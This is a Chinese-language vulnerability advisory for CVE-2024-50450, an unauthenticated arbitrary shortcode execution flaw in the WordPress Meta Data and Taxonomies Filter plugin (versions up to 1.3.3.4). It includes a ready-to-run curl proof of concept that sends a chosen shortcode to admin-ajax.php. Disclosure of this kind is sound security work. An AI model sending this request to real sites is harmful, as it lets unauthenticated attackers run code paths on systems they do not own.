WordPress Meta Data and Taxonomies Filter (MDTF) <= 1.3.3.4 - 未认证的任意短代码执行
MDTF – Meta Data and Taxonomies Filter WordPress 插件在所有版本（包括 1.3.3.4）中均存在任意短代码执行漏洞。这是由于该软件允许用户执行一个操作，而在运行 do_shortcode 之前未正确验证某个值。这使得未认证的攻击者能够执行任意短代码。
发布时间：2024-10-24 00:00:00
CVE：CVE-2024-50450
CVSS：CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS 分数：7.3
Slug：wp-meta-data-filter-and-taxonomy-filter
将 [contact_7] 替换为您要运行的短代码。
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=mdf_get_ajax_auto_recount_data" \
-d "mdf_front_qtrans_lang=en" \
-d "mdf_front_wpml_lang=en" \
-d "mdf_is_search_going=1" \
-d "mdf_tmp_order=asc" \
-d "mdf_tmp_orderby=date" \
-d "no_wp_die=true" \
-d "mdf_ajax_request=true" \
-d "mdf_cat=category_slug" \
-d "page_mdf=1" \
-d "slug=page_slug" \
-d "type=shortcode" \
-d "shortcode_id=shortcode_id_value" \
-d "mdf_ajax_content_redraw=true" \
-d "shortcode_txt=[contact_7]" \
http://kubernetes.docker.internal/wp-admin/admin-ajax.php